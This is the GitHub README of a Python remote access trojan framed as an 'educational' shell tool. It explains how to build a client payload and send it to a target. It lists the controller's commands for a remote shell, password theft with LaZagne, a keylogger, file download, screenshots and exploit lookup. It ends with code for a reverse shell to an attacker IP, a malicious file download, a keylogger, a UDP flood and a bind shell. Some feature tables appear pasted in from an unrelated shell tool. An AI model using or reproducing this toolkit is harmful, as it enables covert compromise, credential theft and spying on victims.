PYTHA-SHELL - Advanced Python Shell Environment

PYTHA-SHELL is a versatile cybersecurity tool designed for educational purposes, featuring an RCE (Remote Code Execution) mode. This tool allows users to explore and understand various attacks and vulnerabilities in a controlled environment. PYTHA-SHELL includes practical examples and demonstrations to help learners grasp the concepts of remote code execution and other security risks. Ideal for students, educators, and cybersecurity enthusiasts, PYTHA-SHELL aims to provide hands-on experience with real-world vulnerabilities and attacks in a safe and controlled setting.PYTHA-SHELL helps users gain practical experience in a secure environment ,making it a valuable asset for both learning and teaching.

Key Features Table

Feature	Description
Interactive Shell	Execute Python code interactively with real-time feedback.
Advanced Debugging	Access built-in debugging tools for code inspection and troubleshooting.
Code Autocompletion	Get intelligent code suggestions to speed up development.
Customizable Interface	Tailor the shell interface to fit your workflow.
Script Execution	Run Python scripts and view results directly within the shell.
Variable Inspection	Monitor and modify variables in real-time.

Feature Descriptions

Feature	Description
Execute Python Code	Type and run Python commands directly in the shell.
Debugging Tools	Set breakpoints, inspect variables, and step through code.
Autocompletion	Intelligent suggestions for code completion.
Script Execution	Load and run Python scripts with the run command.
Customizable Interface	Change the appearance and behavior of the shell to match user preferences.
Variable Inspection	Real-time monitoring and modification of variables.

Installation

To use PYTHA-SHELL, ensure you have Python 3.x installed. The tool also requires the prompt_toolkit library.

Install Required Dependencies

pip install prompt_toolkit

Clone the Repository and Install

git clone https://github.com/Faizan-Khanx/PYTHA-SHELL.git
cd PYTHA-SHELL
pip install -r requirements.txt
cd PYTHA
python PythaShell.py -h

Here's a table for the PythaShell.py options and their descriptions:

Option	Command	Description
`-h`, `--help`	`PythaShell.py -h`	Show this help message and exit
`-o`, `--host`	`PythaShell.py -o`	Host IP/hostname
`-p`, `--port`	`PythaShell.py -p`	Port
`-i`, `--icon`	`PythaShell.py -i`	Path to icon file
`-c`, `--console`	`PythaShell.py -c`	Run as a console application
`-d`, `--debug`	`PythaShell.py -d`	Enable PyInstaller debug mode
`-m`, `--melt`	`PythaShell.py -m`	Melt file on startup

Setup Usage

Simple Usage

python3 PythaShell.py -o < host > -p < port > #Example python3 PythaShell.py -o 127.0.0.1 -p 1234
Now Check The Dist Folder For The Binary. And Send The Binary To Your Target
Here you can se the Payload with name main_client . Send this to your target .

Usage

PYTHA-SHELL is a command-line tool for executing Python code and interacting with an advanced shell environment.

Launch the Shell

python main_server.py -p <port> ``` #On Same Port You Use While Making The Payload

Server Commands

Command	Usage	Description
`H`	`H`	Help: Show available commands
`L`	`L`	List all connections (inactive connections shown)
`I`	`I <index>`	Interact with a connection by index
`E`	`E <index>`	Open a remote shell with the specified connection
`S`	`S <command>`	Send a command to every connection
`O`	`O <hostname/IP> <port>`	Change connection details (hostname/IP and port)
`C`	`C <index>`	Close the connection by index
`X`	`X`	Close/clear all connections
`Q`	`Q`	Close the server but keep the clients

Now Execute L command to See The List of Total Hosts .
After This Execute I command #Example I 1 >> if you want to interact with host 1 .

Interact Commands

Command	Usage	Description
`H`	`H`	Help: Show available commands
`E`	`E`	Open remote shell
`Y`	`Y`	Open Python interpreter
`V`	`V`	Find vulnerabilities (exploit-only mode)
`R`	`R`	Retrieve passwords using LaZagne
`K`	`K <start/stop/dump>`	Keylogger: Start, stop, or dump keystrokes
`D`	`D <directory/file>`	Download directory or file
`U`	`U`	Upload a file
`S`	`S`	Take a screenshot
`I`	`I`	View information about the connection
`B`	`B`	Move connection to the background
`C`	`C`	Close the connection

Example Usage Of Interact Mode

Here’s the Example Usage Of Interact Mode with the commands you asked for, now with example usage:

Help:
```
>>> H
```
Description: This command displays a help menu showing all available commands in interact mode.
Open Remote Shell:
```
>>> E
```
Example: Opens a shell to execute commands on the remote machine.
```
>>> whoami
root
```
Description: The command E opens the remote shell, where you can now run commands like whoami to check the user on the remote host.
Open Python Interpreter:
```
>>> Y
```
Example: Opens a Python interpreter on the remote host.
```
>>> x = 5
>>> x * 2
10
```
Description: You can now execute Python code directly on the remote system after running the Y command.

Find Vulnerabilities (Exploit Only):

>>> V

Example: Lists vulnerabilities available for exploitation.

>>> V
[+] [CVE-2022-2586] nft_object UAF

Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

Description: This command scans the remote host and lists known vulnerabilities that have exploits available.

Retrieve Passwords using LaZagne:
```
>>> R
```
Example: Retrieves passwords stored on the remote host.
```
>>> R
[*] Password found: admin123
```
Description: The R command runs the LaZagne tool on the remote host to recover stored credentials.
Keylogger Commands:
- Start Keylogger:
```
>>> K start
```
  Example: Starts the keylogger on the remote system.
```
>>> K start
[*] Keylogger started
```
- Stop Keylogger:
```
>>> K stop
```
  Example: Stops the keylogger.
```
>>> K stop
[*] Keylogger stopped
```
- Dump Keylogger:
```
>>> K dump
```
  Example: Dumps the logged keystrokes to a file.
```
>>> K dump
[*] Dumping keystrokes:
password123
```

Download Directory or File:

Download Directory:

>>> D /home/user/documents

Example: Downloads the /documents directory from the remote system.

>>> D /home/user/documents
[*] Downloading directory /documents...

Download File:

>>> D /home/user/file.txt

Example: Downloads the file file.txt.

>>> D /home/user/file.txt
[*] Downloading file /file.txt...

Upload File:

>>> U /path/to/local/file.txt

Example: Uploads a file from your local machine to the remote system.

>>> U /path/to/local/file.txt
[*] Uploading file.txt to remote host...

Take Screenshot:
```
>>> S
```
Example: Takes a screenshot of the remote system.
```
>>> S
[*] Screenshot saved as screenshot.png
```
View Information:
```
>>> I
```
Example: Retrieves system information such as OS, memory, and CPU usage.
```
>>> I
[*] OS: Ubuntu 20.04
[*] CPU: 4 cores
[*] Memory: 8GB
```
Move Connection to Background:
```
>>> B
```
Example: Moves the active connection to the background, freeing up the interface.
```
>>> B
[*] Connection moved to background.
```
Close Connection:
```
>>> C
```
Example: Closes the current connection with the remote host.
```
>>> C
[*] Connection closed.
```
Execute Python Code:
```
>>> print("Hello, World!")
Hello, World!
```
This command executes the Python code and prints the result.
Run a Python Script:
```
>>> run('example_script.py')
```
This command loads and runs the Python script example_script.py.
Inspect a Variable:
```
>>> x = 10
>>> x
10
```
This command assigns the value 10 to variable x and prints its value.
Set Breakpoints:
```
>>> set_breakpoint()
```
This command sets a breakpoint in the code for debugging.
Inspect Variables:
```
>>> inspect_variable('x')
```
This command inspects the variable x and shows its current value.
Use Autocompletion:
```
>>> import math
>>> math.pi
```
Typing math. and using autocompletion will show available attributes like pi.
Customizable Interface:
```
>>> customize_interface(theme='dark')
```
This command changes the shell interface to a dark theme.

Educational Example - Reverse Shell Code:

>>> # For educational purposes only. Be cautious and use responsibly.
>>> import socket
>>> import subprocess
>>> import os
>>> 
>>> def reverse_shell():
>>>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>>     s.connect(('attacker_ip', 4444))  # Replace with the attacker's IP and port
>>>     while True:
>>>         command = s.recv(1024).decode('utf-8')
>>>         if command.lower() == 'exit':
>>>             break
>>>         output = subprocess.getoutput(command)
>>>         s.send(output.encode('utf-8'))
>>>     s.close()
>>> 
>>> reverse_shell()

Description: This code demonstrates a basic reverse shell, where the target machine connects back to an attacker's machine and executes commands received over the network. Warning: This is for educational purposes only. Do not use this code maliciously or without proper authorization. It’s meant to demonstrate how reverse shells work for learning and ethical hacking practice.

Educational Example - Malicious File Download:
```
>>> # For educational purposes only. Use responsibly.
>>> import urllib.request
>>> url = 'http://malicious_website.com/malicious_file.exe'  # Replace with the malicious URL
>>> save_path = 'malicious_file.exe'
>>> urllib.request.urlretrieve(url, save_path)
```
Description: This code snippet shows how to download a file from a given URL. In a malicious context, this could be used to download harmful files. Do not use this code for malicious purposes. It is included here for educational purposes to understand how such scripts operate.

Educational Example - Keylogger Code:

>>> # For educational purposes only. Be cautious with such code.
>>> from pynput import keyboard
>>> 
>>> def on_press(key):
>>>     try:
>>>         with open('keylog.txt', 'a') as f:
>>>             f.write(f'{key.char}')
>>>     except AttributeError:
>>>         with open('keylog.txt', 'a') as f:
>>>             f.write(f'{key}')
>>> 
>>> with keyboard.Listener(on_press=on_press) as listener:
>>>     listener.join()

Description: This code demonstrates a simple keylogger that records keystrokes to a file. Warning: This is for educational purposes only. Do not use this code to infringe on others' privacy. It’s meant to illustrate how keyloggers function for learning and ethical hacking practice.

Educational Example - SQL Injection Simulation:

>>> # For educational purposes only. Use responsibly.
>>> import sqlite3
>>> 
>>> conn = sqlite3.connect(':memory:')
>>> cursor = conn.cursor()
>>> cursor.execute('CREATE TABLE users (username TEXT, password TEXT)')
>>> cursor.execute('INSERT INTO users (username, password) VALUES (?, ?)', ('admin', 'admin123'))
>>> 
>>> user_input = "' OR '1'='1"
>>> query = f"SELECT * FROM users WHERE username='{user_input}'"
>>> cursor.execute(query)
>>> results = cursor.fetchall()
>>> print(results)

Description: This code demonstrates a simple SQL injection simulation by manipulating a query string to bypass authentication. Warning: This is for educational purposes only. Do not use this code to attack or compromise databases. It’s meant to illustrate how SQL injection works for learning and ethical hacking practice.

Educational Example - Buffer Overflow Simulation:
```
>>> # For educational purposes only. Use responsibly.
>>> import ctypes
>>> 
>>> def buffer_overflow():
>>>     buf = ctypes.create_string_buffer(10)
>>>     buf.value = b'A' * 20  # Overflow buffer with excessive data
>>>     print(buf.value)
>>> 
>>> buffer_overflow()
```
Description: This code demonstrates a buffer overflow by writing more data to a buffer than it can handle, potentially causing unexpected behavior. Warning: This is for educational purposes only. Do not use this code to exploit vulnerabilities. It’s meant to illustrate how buffer overflows work for learning and ethical hacking practice.

Educational Example - Denial of Service (DoS) Simulation:

>>> # For educational purposes only. Use responsibly.
>>> import socket
>>> 
>>> def dos_attack(target_ip, target_port):
>>>     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
>>>     message = b'A' * 1024  # Large message to flood the target
>>>     while True:
>>>         sock.sendto(message, (target_ip, target_port))
>>> 
>>> dos_attack('target_ip', 80)  # Replace 'target_ip' with the target's IP address

Description: This code demonstrates a simple denial of service (DoS) attack by flooding a target with a large number of messages. Warning: This is for educational purposes only. Do not use this code to disrupt services. It’s meant to illustrate how DoS attacks work for learning and ethical hacking practice.

Educational Example - Remote Code Execution Simulation:

>>> # For educational purposes only. Use responsibly.
>>> import os
>>> import socket
>>> 
>>> def remote_code_execution():
>>>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>>     s.bind(('0.0.0.0', 9999))
>>>     s.listen(1)
>>>     print("Listening for connections...")
>>>     conn, addr = s.accept()
>>>     print(f"Connection from {addr}")
>>>     while True:
>>>         data = conn.recv(1024).decode('utf-8')
>>>         if not data:
>>>             break
>>>         output = os.popen(data).read()
>>>         conn.send(output.encode('utf-8'))
>>>     conn.close()
>>> 
>>> remote_code_execution()

Description: This code demonstrates a remote code execution (RCE) simulation where the server listens for incoming connections and executes commands received from a client. Warning: This is for educational purposes only. Do not use this code to exploit systems. It’s meant to illustrate how remote code execution works for learning and ethical hacking practice.

Screenshots

Example ScreenShott Of V Command Which Shows System Vulnerability To Exploit

Example ScreenShott Of R Command Which Retreive All The Passwords

Example ScreenShott Of Y Command Which Open Python Interpreter,we can also inject Malicious Code

Example ScreenShott Of I Command Which Shows System Information

License

This project is licensed under the MIT License - see the LICENSE file for details.

Author

PYTHA-SHELL is developed by Faizan Khan.

GitHub: Faizan-Khanx
Instagram: @EthicalFaizan

Feel free to contribute to this project or suggest improvements by raising issues or pull requests on GitHub.

Contact

For any questions or feedback, please contact E-Mail Me

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

README.md

README.md

PYTHA-SHELL - Advanced Python Shell Environment

Key Features Table

Feature Descriptions

Installation

Install Required Dependencies

Clone the Repository and Install

Setup Usage

Simple Usage

Usage

Launch the Shell

Server Commands

Interact Commands

Example Usage Of Interact Mode

Screenshots

License

Author

Contact

GITHUB STATS

Files

README.md

Latest commit

History

README.md

File metadata and controls

PYTHA-SHELL - Advanced Python Shell Environment

Key Features Table

Feature Descriptions

Installation

Install Required Dependencies

Clone the Repository and Install

Setup Usage

Simple Usage

Usage

Launch the Shell

Server Commands

Interact Commands

Example Usage Of Interact Mode

Screenshots

License

Author

Contact

GITHUB STATS